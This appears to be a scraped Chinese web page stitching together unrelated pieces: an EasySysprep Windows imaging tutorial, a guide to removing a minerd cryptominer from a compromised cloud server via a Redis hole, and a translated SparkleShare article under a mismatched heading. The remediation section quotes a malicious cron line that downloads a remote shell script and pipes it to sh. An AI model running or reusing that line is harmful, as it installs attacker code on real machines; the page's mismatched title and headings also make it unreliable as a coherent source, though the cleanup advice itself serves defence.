xkeysU盘挖矿
① easy sysprep系统封装工具怎么使用
方法/步骤
封装前的准备
1、集成系统补丁。集成补丁的方法有很多,例如使用Windows Update、使用第三方安全软件、使用第三方补丁包等。这里推荐大家选用IT天空系统补丁安装助理,一次性安装所有重要补丁。
2、安装常用软件。常用软件常用的一般也就几种,大家请根据自己的系统部署范围而决定。
特别提醒(1)不是所有的软件都能良好适应系统封装部署,特别是某些国产软件;(2)需要激活的软件,部署完毕后一般都需要重新激活;(3)不建议集成安全类软件,某些安全软件会阻挡正常的系统部署进程,甚至导致蓝屏宕机;(4)如果某些软件不适合集成在系统,可以使用首次进桌面静默安装的方法来解决。
3、备份系统。又备份系统?对,备份。补丁安装要20分钟左右,软件也需要逐个安装与调整,所以整体时间一般不少于30分钟。为防止封装时出现未知错误,建议再次备份系统,以备今后的调整操作。这次备份完,我们就可以放心大胆的开始封装操作了。
第一阶段封装EasySysprep v4 (ES4)与之前ES3、ES2以及传统封装辅助工具最大的不同,在于其将封装分为了两个阶段。第一阶段:以完成封装操作为首要目的;第二阶段:以完成对系统的调整为首要目的。将封装与调整分开,减少调整操作对封装操作的影响,保障封装成功率。1、启动ES42、封装选项设置界面
(1)序列号,合法的系统序列号,OEM和VOL系统请在此输入,零售版需要在部署时输入*提醒a:VOL(免激活版)并不是免序列号,如果你安装时没需要输入那是因为自动应答文件帮你输入了*提醒b:如果序列号不适合当前系统,或系统精简了关于序列号认证的功能,序列号就无法被使用(2)注册用户和注册组织,不能为空,请填写您的相关信息,留空则保持默认(3)时区,请根据您所在时区进行选择(4)安全标识符,如果生成,会拖慢系统部署速度,建议需要加入域的计算机才选中此项(5)网络,工作组或域,请根据您的情况选择,如果是“域”还可以设置接入域的账户和密码(6)服务器授权模式用于Windows Server 2003,非用于XP(7)清理当前计算机即插即用驱动,强烈建议选中,将自动卸载当前驱动(8)释放当前系统自带的基础硬件驱动,强烈建议选中,将所有基础硬件驱动释放入系统,可提高部署时对基础设备的兼容性(9)移动当前桌面快捷方式到公共桌面,可将当前用户桌面快捷方式应用给所有用户,但会影响当前快捷方式的位置3、封装前的预览4、开始封装
ES4的第一阶段封装只涉及封装所必须的操作,所以操作较少,更多的调整操作留给了第二阶段。
第二阶段封装EasySysprep v4(ES4)的第二阶段封装于PE环境下完成,而非常规的系统桌面环境。第二阶段的重点在于:调整系统配置。PE下完成系统调整的优势,优势有三:(1)其实这时系统封装必要的操作已经结束了,要调整的是封装后的系统,不必担心调整对封装成功率产生影响;(2)不必过多考虑系统权限对系统调整所产生的影响;(3)一旦有某些调整产生失误,无需重新封装系统,再次调整即可。1、备份第一阶段封装完毕的系统,以备不时之需2、启动ES4
3、OEM信息设置
功能:(1)注册用户、注册组织,一般而言会自动读取第一阶段所设置的值,可再次修改,但不可为空(2)制造商、电脑型号,请根据实际情况填写(3)OEM图片,180x114bmp格式图片(4)开始菜单链接,请根据实际情况填写(5)支持信息,请根据实际情况填写说明:(1)如果制造商、电脑型号和支持信息同属oeminfo.ini,若制造商、电脑型号不填写,则oeminfo.ini不完整,支持信息将无法生效,特请注意!(2)如果不想使用OEM图片,单击清除按钮,保持图片路径为空即可(3)如果不想使用开始菜单链接,将链接名称设置为空即可4、注册表优化设置功能:(1)默认提供一套注册表优化方案,可单击浏览按钮导入自定义方案(2)最终注册表优化方案以文本框中的内容为准(3)可手动删除不需要的项目,亦可手动添加需要的项目5、服务优化功能:(1)将枚举目标系统所有服务描述名和服务名称,可设置服务的状态(自动、手动、禁用)(2)与ES3不同的是,不显示服务描述,此问题暂未得到良好解决,后续会逐步跟进修正6、系统设置功能:(1)开关机音乐,可协助替换开关机声音,wav格式,不宜过大过长,请自备(2)系统页面,可协助调换系统属性面板和登录页面程序,请自备(3)虚拟内存,可设置系统默认和自定义两种模式,自定义模式下还可设置页面文件位置、页面文件大小(4)计算机名,包括完全随机、完全固定、[日期]-[时间]、[前缀]-[日期][时间]四种模式(5)SFC,可设置关闭或开启SFC,开启SFC状态时可选是否自动恢复DllCache文件(6)其他破解,获取更多的连接数或支持更多第三方主题说明:(1)计算机名 [日期]-[时间] 模式,命名后形如:20130122-151922(2)计算机名 [前缀]-[日期][时间] 模式,命名后形如:SKY-20130122ITK,前缀最长5字母(3)建议关闭SFC,不再使用,SFC属于鸡肋的系统防护功能,可轻易被恶意程序绕过,禁用还可提高系统反应速度7、部署设置功能:(1)序列号,一般会读取在第一阶段中设置的序列号,如需更改可改动(2)时区,一般会读取在第一阶段中设置的时区,如需更改可改动(3)显示设置,可设置部署分辨率和进桌面的分辨率(4)使用硬件抽象层(HAL)自动判定,自动判定目标计算机HAL,避免电源管理故障(5)接管部署流程,接管后可以实现更多部署功能,如部署前后接口等(6)使用部署插件,如部署侧边栏、部署进度条(7)部署背景,可设置单背景模式或多背景切换模式(8)Boot时间设定,可设定封装后和部署后的Boot时间(9)清理目标系统中的即插即用驱动,对系统中的PNP驱动进行清理(应急与测试类功能,慎用)(10)清理目标系统中的磁盘控制器驱动,对系统中的IAR驱动进行清理(应急与测试类功能,慎用)(11)清理目标系统中的补丁备份和卸载程序,清理安装补丁留下的补丁备份和补丁卸载程序,可减少系统映像体积(12)清理目标系统中的临时文件和系统日志,可进一步清理目标系统中的残留文件说明:(1)不建议手动指定部署分辨率,保持系统默认为最好。另外,设置部署分辨率可能会影响进桌面分辨率的设置(2)不建议手动指定进桌面分辨率,部署中调用万能驱动助理安装驱动后,进桌面时即为最佳分辨率(3)HAL自动判定非常重要(ES3中默认启用),可以避免因电源管理故障引起的不能正常关机问题(4)HAL自动判定所需的Longhorn的NTLDR,比XP的NTLDR拥有更好的兼容性,可承担大量IAR驱动的启动负担(5)接管部署流程建议使用(ES3中默认启用),可拓展更多部署功能(6)有些PS过的图片不符合系统公共标准,若图片无法被背景程序显示,可用Windows自带画图工具另存一下(7)清理PNP和IAR驱动的选项不建议选中,这两个功能仅用于在目标系统“不干净”的条件下应急8、网络设置功能:(1)网络设置,可选择手动指定和DHCP两种模式,请根据需要选择与设定(2)网络环境,可设置工作组或域信息,一般会读取第一步骤设置的值,如需更改可设置(3)服务器授权模式用于 Windows Server 2003(4)局域网共享设置,提供了三种不同的认证方法,请根据需要选择与设定说明:(1)IP地址设置中,可用“*”代替2~254之间的随机值(2)IP设置功能ES4采用了全新的方法,设置速度快于ES3数倍(3)提供全国主要省市联通、电信DNS,并提供两组通用DNS备用(4)可设置本地连接是否显示于任务栏,以及显示规则。9、特殊调用接口
功能:(1)特殊调用接口一般为特定的应用程序或功能保留(2)万能驱动助理调用接口,为IT天空万能驱动助理专门保留,可设置部署中/进桌面调用(3)万能驱动助理调用接口附带首次进桌面弹任务管理器和删除解压驱动的功能(4)快速配置工具,可设置进桌面调用IT天空快速配置工具进行快速系统设置(5)综合运行库,为IT天空一键运行库的专用接口,可设置部署中/进桌面调用(6)其他类功能见UI说明10、通用调用接口功能:(1)调用exe、bat、cmd运行,可设置运行参数,可设置隐藏和不等待(2)调用reg文件自动静默导入(3)删除指定文件(4)删除指定目录(5)任务设置后,选择调用时机,单击“添加”按钮添加任务到列表(6)选中任务,单击“删除”按钮可删除任务,单击“编辑”按钮可调整任务(7)选中任务,单击“上移”或“下移”按钮,可移动任务执行顺序(8)“整理”功能将自动将任务按调用时机排序,第二阶段封装任务开始前也会自动整理说明:(1)当所调用程序位于系统盘时,盘符自动转换为%systemdrive%(2)当所调用程序位于非系统盘时,盘符会自动转换为%x%,部署时自动搜索所有盘符寻找指定程序(3)亦可使用%CDRom%和%UDisk%指代光驱和U盘,部署时将只搜索指定设备寻找指定程序(4)如果隐藏运行程序,且程序卡住了,那么将没有任何提示,慎用此功能(5)如果启用了不等待模式,将不等待当前程序的执行结束即会开始下一个程序的执行,这是一种非常不好的状态,仅用于特殊应用程序的调用,不要随意使用,本功能亦不会加快程序执行效率或缩短部署过程,相反会带来一堆问题盘符自动转为%x%示例:盘符自动转为%systemdrive%示例:删除文件任务示例:删除目录任务示例:11、磁盘控制器驱动说明:(1)IAR驱动列表与最新的SKYIAR稳定版一致(2)提供成套的、具有广泛兼容性的IAR驱动方案,建议使用(3)如有需求,可手动选中仅需要的IAR驱动,IAR驱动间若存在冲突,程序会自动提醒(4)IAR驱动方案并不是选中所有,而是选中最具兼容性的驱动组合12、保存设置信息总览,如未发现问题,单击“完成”按钮开始执行所有调整工作
13、备份系统为系统映像,注意选择最大压缩率
大功告成,可以测试映像的部署了!
系统部署
经刚才封装的系统映像部署一下看看效果:1、最小化系统安装(MiniSetup)
2、注册组件时自动安装所需运行库(1)自动安装 DirextX 9.0c(2)自动安装VC++2005/2008/2010等运行库3、自动执行万能驱动助理(1)检测硬件(2)解压并安装驱动4、进入系统,补丁、软件、运行库、驱动全齐!
* 关于运行库的安装时机有些朋友喜欢在封装前即将DX9、VC++等运行库安装好,这样做便于减少系统部署时间。而有些朋友喜欢在部署时安装DX9、VC++等运行库,这样有助于减少映像体积,并便于更新。两种方法都是正确的,上述过程是在部署中进行运行库安装的,请根据自己的实际需求选择使用哪种方法。
② 阿里云服务器被挖矿了怎么办(纯纯电脑小白
1. 关闭访问挖矿服务器的访问
iptables -A INPUT -s xmr.crypto-pool.fr -j DROP and iptables -A OUTPUT -d xmr.crypto-pool.fr -j DROP.
2. chmod -x minerd ,取消掉执行权限, 在没有找到根源前,千万不要删除 minerd,因为删除了,过一回会自动有生成一个。
3. pkill minerd ,杀掉进程
4. service stop crond 或者 crontab -r 删除所有的执行计划
5. 执行top,查看了一会,没有再发现minerd 进程了。
6.检查/var/spool/cron/目录下发现有个root用户的定时器文件。
下载脚本的语句:
*/5 * * * * curl -fsSL http://www.haveabitchin.com/pm.sh?0105010 | sh
病毒文件内容如下,感兴趣的可以研究下:
View Code
解决minerd并不是最终的目的,主要是要查找问题根源,我的服务器问题出在了redis服务了,黑客利用了redis的一个漏洞获得了服务器的访问权限,http://blog.jobbole.com/94518/然后就注入了病毒,下面是解决办法和清除工作:
1. 修复 redis 的后门,
配置bind选项, 限定可以连接Redis服务器的IP, 并修改redis的默认端口6379.
配置AUTH, 设置密码, 密码会以明文方式保存在redis配置文件中.
配置rename-command CONFIG “RENAME_CONFIG”, 这样即使存在未授权访问, 也能够给攻击者使用config指令加大难度
好消息是Redis作者表示将会开发”real user”,区分普通用户和admin权限,普通用户将会被禁止运行某些命令,如conf
2. 打开 ~/.ssh/authorized_keys, 删除你不认识的账号
3. 查看你的用户列表,是不是有你不认识的用户添加进来。 如果有就删除掉.
③ u盘里多了.fseventsd,.Spotlight-V100,.Trashes三个文件夹 怎么删都删不掉
SparkleShare 是一个开源的基于 Git 的 Dropbox 风格的文件共享应用程序。在我们的系列文章中了解有关 Git 鲜为人知的用法。-- Seth Kenlon(作者)
Git 是一个少有的能将如此多的现代计算封装到一个程序之中的应用程序,它可以用作许多其他应用程序的计算引擎。虽然它以跟踪软件开发中的源代码更改而闻名,但它还有许多其他用途,可以让你的生活更轻松、更有条理。在这个 Git 系列中,我们将分享七种鲜为人知的使用 Git 的方法。
今天,我们将看看 SparkleShare,它使用 Git 作为文件共享的基础。
用于文件共享的 Git
Git 的优点之一是它具有固有的分发能力。它可用来建立共享。即使你只是与自己网络上的其他计算机共享资源库,Git 也会为从共享位置获取文件的行为带来透明性。
随着其界面的发展,Git 变得非常简单。虽然因用户而异,他们坐下来完成一些工作时的共同点仅仅是 git pull 或稍微复杂一点的 git pull && git checkout -b my-branch。但是,对于某些人来说,将命令输入到他们的计算机中的做法完全是令人困惑或烦恼的。计算机旨在使生活变得轻松,它擅长于重复性工作,因此有更简便的方法可以与 Git 共享文件。
SparkleShare
SparkleShare 项目是一个基于 Git 的跨平台的、开源的 Dropbox 式的文件共享应用程序。它通过将文件拖放到专门指定的 SparkleShare 目录中的简单操作,自动执行所有 Git 命令,触发添加、提交、推送和拉取过程。因为它基于 Git,所以你可以获得基于差异(diff)的快速推送和拉取,并且继承了 Git 版本控制和后端基础设施(如 Git 挂钩)的所有优点。它可以完全自托管,也可以将其与 GitLab 、GitHub、Bitbucket 等 Git 托管服务一起使用。此外,由于它基本上只是一个 Git 的前端,因此你可以在可能没有 SparkleShare 客户端但有 Git 客户端的设备上访问 SparkleShare 中的文件。
正如你获得 Git 的所有好处一样,你也会受到所有常见的 Git 限制:使用 SparkleShare 存储数百张照片、音乐和视频是不切实际的,因为 Git 是为文本而设计和优化的。Git 当然可以存储二进制文件的大文件,但是因为它可以跟踪历史记录,因此一旦将文件添加到其中,几乎就不可能完全删除它。这在某种程度上限制了 SparkleShare 对某些人的实用性,但使其非常适合许多工作流程,包括 日程安排 。
安装 SparkleShare
SparkleShare 是跨平台的,可从 网站 获得适用于 Windows 和 Mac 的安装程序。对于 Linux,有一个 Flatpak 安装包,或者你可以在终端中运行以下命令:
$ sudo flatpak remote-add flathub https://flathub.org/repo/flathub.flatpakrepo
$ sudo flatpak install flathub org.sparkleshare.SparkleShare
创建一个 Git 存储库
SparkleShare 并不是软件即服务(SaaS)。你在计算机上运行 SparkleShare 与 Git 存储库进行通信,而 SparkleShare 并不存储你的数据。如果你还没有与文件夹同步的 Git 存储库,则必须在启动 SparkleShare 之前创建一个文件夹。你有三个选择:托管的 Git、自托管 Git 或自托管 SparkleShare。
托管的 Git
SparkleShare 可以使用你能访问的任何 Git 存储库进行存储,因此,如果你拥有 GitLab 或任何其他托管服务的帐户(或创建一个),则它可以成为 SparkleShare 的后端。例如,开源 Notabug.org 服务是一个类似于 GitHub 和 GitLab 的 Git 托管服务,但其独特性足以证明 SparkleShare 的灵活性。根据用户界面的不同,不同的托管服务创建新存储库的方法也有所不同,但是所有主要存储库都遵循相同的通用模型。
首先,在托管服务中找到创建新项目或存储库的按钮,单击它以开始。然后逐步完成存储库的创建过程,为存储库提供名称、隐私级别(存储库通常默认为公共),以及是否使用 README 文件初始化存储库。无论你是否需要个 README 文件,请初始化建立一个。使用一个文件来创建存储库不是绝对必要的,但是它会强制 Git 主机实例化存储库中的 master 分支,这有助于确保前端应用程序(例如 SparkleShare)具有要提交并推送的分支。即使文件是几乎空的 README 文件,也可以用来查看该文件以确认你已连接成功。
Creating a Git repository
创建存储库后,获取其用于 SSH 克隆的 URL。就像从 Git 项目获得其 URL 一样,你也可以获取此 URL:导航至存储库页面并查找 “Clone” 按钮或字段。
GitHub 的克隆 URL。
GitLab 的克隆 URL。
这是 SparkleShare 用于获取数据的地址,因此请记下它。你的 Git 存储库现已配置好。
自托管的 Git
你可以使用 SparkleShare 访问你有权访问的任何计算机上的 Git 存储库。除了一个 Git 裸存储库外,无需任何特殊设置。但是,如果你想将对 Git 存储库的访问权授予其他任何人,则应运行 Gitolite 之类的 Git 管理器或 SparkleShare 自己的 Dazzle 服务器来帮助你管理 SSH 密钥和帐户。至少,创建一个特定于 Git 的用户,以便有权访问你的 Git 存储库的用户不会自动获得对服务器其余部分的访问权限。
以 Git 用户身份登录服务器(如果你非常擅长管理用户和组权限,则可以以自己的用户登录)并创建存储库:
$ mkdir ~/sparkly.git
$ cd ~/sparkly.git
$ git init --bare .
你的 Git 存储库现已配置好。
Dazzle
SparkleShare 的开发人员提供了一个名为 Dazzle 的 Git 管理系统,以帮助你自托管 Git 存储库。
在你的服务器上,将 Dazzle 应用程序下载到你的路径中的某个位置:
$ curl https://raw.githubusercontent.com/hbons/Dazzle/master/dazzle.sh --output ~/bin/dazzle
$ chmod +x ~/bin/dazzle
Dazzle 设置了一个特定于 Git 和 SparkleShare 的用户,并且还基于 SparkleShare 应用程序生成的密钥实现了访问权限。现在,只需设置一个项目:
$ dazzle create sparkly
你的服务器现在已经配置好,可以用作 SparkleShare 托管了。
配置 SparkleShare
首次启动 SparkleShare 时,系统会提示你配置 SparkleShare 用于存储的服务器。这个过程可能看起来像一个首次运行的安装向导,但实际上是在 SparkleShare 中设置新共享位置的通常过程。与许多共享驱动器应用程序不同,使用 SparkleShare 可以一次配置多个位置。你配置的第一个共享位置并不比你以后可以配置的任何共享位置更重要,并且你也不用注册 SparkleShare 或任何其他服务。你只是将 SparkleShare 指向 Git 存储库,以便它知道如何使第一个 SparkleShare 文件夹保持同步。
在第一个屏幕上,给出一个身份信息,SparkleShare 将在代表你进行的 Git 提交记录中使用这些信息。你可以使用任何内容,甚至可以使用不代表任何意义的伪造信息。它仅用于提交消息,如果你对审查 Git 后端进程没有兴趣,你可能甚至看不到它们。
下一个屏幕提示你选择主机类型。如果你使用的是 GitLab、GitHub、Planio 或 Bitbucket,则可以选择一个适当的。否则,请选择“自己的服务器”。
Choosing a Sparkleshare host
在此屏幕底部,你必须输入 SSH 的克隆 URL。如果你是自托管的 Git,则地址类似于 <ssh://[email protected]>,而远程路径是为此目的而创建的 Git 存储库的绝对路径。
根据上面的自托管示例,我虚构的服务器的地址为 ssh://[email protected]:22122(:22122 表示一个非标准的 SSH 端口),远程路径为 /home/git/sparkly.git。
如果我改用 Notabug.org 帐户,则上例中的地址为 ssh://[email protected],路径为 seth/sparkly.git。
SparkleShare 首次尝试连接到主机时会失败,因为你尚未将 SparkleShare 客户端 ID(特定于 SparkleShare 应用程序的 SSH 密钥)复制到 Git 主机。这是预料之中的,所以不要取消该过程。将 SparkleShare 设置窗口保持打开状态,并从系统任务栏中的 SparkleShare 图标处获取客户端 ID。然后将客户端 ID 复制到剪贴板,以便可以将其添加到 Git 主机。
Getting the client ID from Sparkleshare
将你的客户端 ID 添加到托管的 Git 帐户
除了较小的 UI 差异外,在任何托管服务上添加 SSH 密钥(所有客户端 ID 都是这样)的过程基本上是相同的。在你的 Git 主机的 Web 仪表板中,导航到你的用户设置,然后找到 “SSH 密钥”类别。单击“添加新密钥”按钮(或类似按钮),然后粘贴你的 SparkleShare 客户端 ID 的内容。
Adding an SSH key
保存密钥。如果你希望其他人(例如协作者或家庭成员)能够访问同一存储库,则他们必须向你提供其 SparkleShare 客户端 ID,以便你可以将其添加到帐户中。
将你的客户端 ID 添加到自托管的 Git 帐户
SparkleShare 客户端 ID 只是一个 SSH 密钥,因此将其复制并粘贴到 Git 用户的 ~/.ssh/authorized_keys 文件中。
使用 Dazzle 添加你的客户 ID
如果你使用 Dazzle 管理 SparkleShare 项目,请使用以下命令添加客户端 ID:
$ dazzle link
当 Dazzle 提示你输入该 ID 时,请粘贴在 SparkleShare 菜单中找到的客户端 ID。
使用 SparkleShare
将客户端 ID 添加到 Git 主机后,在 SparkleShare 窗口中单击“重试”按钮以完成设置。克隆存储库完成后,你可以关闭 SparkleShare 设置窗口,并在你的家目录中找到一个新的 SparkleShare 文件夹。如果你设置了带有托管服务的 Git 存储库,并选择包括 README 文件或许可证文件,则可以在 SparkleShare 目录中看到它们。
Sparkleshare file manager
此外,有一些隐藏目录,你可以通过在文件管理器中显示隐藏目录来查看。
Showing hidden files in GNOME
使用 SparkleShare 的方式与使用计算机上任何目录的方式相同:将文件放入其中。每当将文件或目录放入 SparkleShare 文件夹时,它都会在后台复制到你的 Git 存储库。
排除某些文件
由于 Git 从设计上就是要记住一切,因此你可能希望从记录中排除特定的文件类型。排除一些文件是有原因的。通过定义摆脱 SparkleShare 管理的文件,可以避免意外复制大文件。你还可以为自己设计一种方案,使你可以将存储在一个目录中的逻辑上属于同一个文件(例如,MIDI 文件及其 .flac 导出文件),但是可以自己手动备份大文件,而同时让 SparkleShare 备份基于文本的文件。
如果在系统的文件管理器中看不到隐藏的文件,请显示它们。导航到你的 SparkleShare 文件夹,然后到代表你的存储库的目录,找到一个名为 .gitignore 的文件,然后在文本编辑器中将其打开。你可以在 .gitignore 中输入文件扩展名或文件名(每行一个),任何与你列出的文件匹配的文件都会被忽略(如文件名所示)。
Thumbs.db
$RECYCLE.BIN/
.DS_Store
._*
.fseventsd
.Spotlight-V100
.Trashes
.directory
.Trash-*
*.wav
*.ogg
*.flac
*.mp3
*.m4a
*.opus
*.jpg
*.png
*.mp4
*.mov
*.mkv
*.avi
*.pdf
*.djvu
*.epub
*.od{s,t}
*.cbz
你知道最经常遇到哪些文件类型,因此请集中精力处理最有可能潜入你的 SparkleShare 目录的文件。如果你想稍微矫枉过正一些,可以在 Notabug.org 以及整个网上找到 .gitignore 文件的好集合。
通过将这些条目保存在 .gitignore 文件中,你可以将不需要发送到 Git 主机的大文件放在 SparkleShare 目录中,SparkleShare 将完全忽略它们。当然,这意味着你需要确保它们可以备份或通过其他方式分发给你的 SparkleShare 协作者。
自动化
自动化 是我们与计算机达成的默契之一:计算机执行重复的、无聊的工作,而我们人类要么不擅长做这些,要么不擅长记忆这些。SparkleShare 是一种很好的、简单的自动执行例行数据分发的方法。但不管怎么说,这并不适合每个 Git 存储库。它没有用于高级 Git 功能的接口,它没有暂停按钮或手动管理的操作。没关系,因为它的使用范围是有意限制的。SparkleShare 可以完成它计划要做的事情,它做得很好,而且它是你无需关心的一个 Git 存储库。
如果你想使用这种稳定的、看不见的自动化,请尝试一下 SparkleShare。
via: https://opensource.com/article/19/4/file-sharing-git
作者: Seth Kenlon 选题: lujun9972 译者: wxy 校对: wxy
本文由 LCTT 原创编译, Linux中国 荣誉推出